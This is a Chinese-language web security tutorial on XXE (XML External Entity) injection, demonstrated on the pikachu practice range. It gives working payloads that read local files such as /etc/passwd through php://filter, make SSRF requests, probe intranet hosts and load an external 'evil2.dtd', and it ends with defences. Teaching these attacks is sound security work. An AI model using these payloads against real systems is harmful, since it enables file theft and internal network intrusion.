WEB漏洞——XXE


XXE漏洞又稱XML外部實體注入(XML External Entity)

介紹XXE漏洞前先說一下什么是XML

XML語言

XML用於標記電子文件使其具有結構性的標記語言,可以用來標記數據定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言

xml的特性

1:無行為:xml只負責包裝數據,沒有編程語言的邏輯和行為能力,傳送、接收、解析都由應用程序完成。
2:純文本:只有文本,沒有顏色加粗等文本樣式(bat,html,txt文件都是純文本的)。
3:自定義:標簽和屬性名均可以自定義。

xml的設計宗旨是傳輸數據,側重於描述和存放數據,焦點是數據的內容,常用於作為軟件配置文件和傳輸數據

常見的XML語法結構

 

XXE漏洞攻擊原理

XXE漏洞發生在程序解析XML輸入時,沒有禁止外部實體的加載,導致可加載惡意外部文件,造成文件讀取、命令執行、內網端口掃描、攻擊內網網站等危害。

在某些情況下,攻擊者可以利用XXE漏洞執行服務器端請求偽造(SSRF)攻擊,從而升級XXE攻擊,以破壞底層服務器或其他后端基礎結構。

pikachu靶場簡單演示一下xxe漏洞,文件讀取

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///D:/CTFTools/test.txt">
]>
<x>&xxe;</x>

 

一般遇到XML語言都可以嘗試進行XXE注入

 

XXE漏洞攻擊

XXE 攻擊類型 描述
利用 XXE 檢索文件 定義包含文件內容的外部實體,並在應用程序的響應中返回。
利用 XXE 執行 SSRF 攻擊 外部實體基於 URL 到后端系統的定義。
利用盲XXE外泄數據帶外 將敏感數據從應用程序服務器傳輸到攻擊者控制的系統。
利用盲 XXE 通過錯誤消息檢索數據 攻擊者可以觸發包含敏感數據的解析錯誤消息的位置。

 

XXE:本地文件包含示例

#玩法-讀文件
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>

結合php偽協議

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<root><name>&admin;</name><password>admin</password></root>

 

XXE:SSRF ( 服務器側請求偽造 ) 示例

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]>
<foo>&xxe;</foo>

 

XXE:探測內網地址 示例

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >
]>
<x>&rabbit;</x>

 

 #引入外部實體 dtd

?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
%file;
]>
<x>&send;</x>
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">

XXE防御

  • 禁止使用外部實體,例如libxml_disable_entity_loader(true)
  • 過濾用戶提交的XML數據防止出現非法內容。過濾關鍵詞:<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLI


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM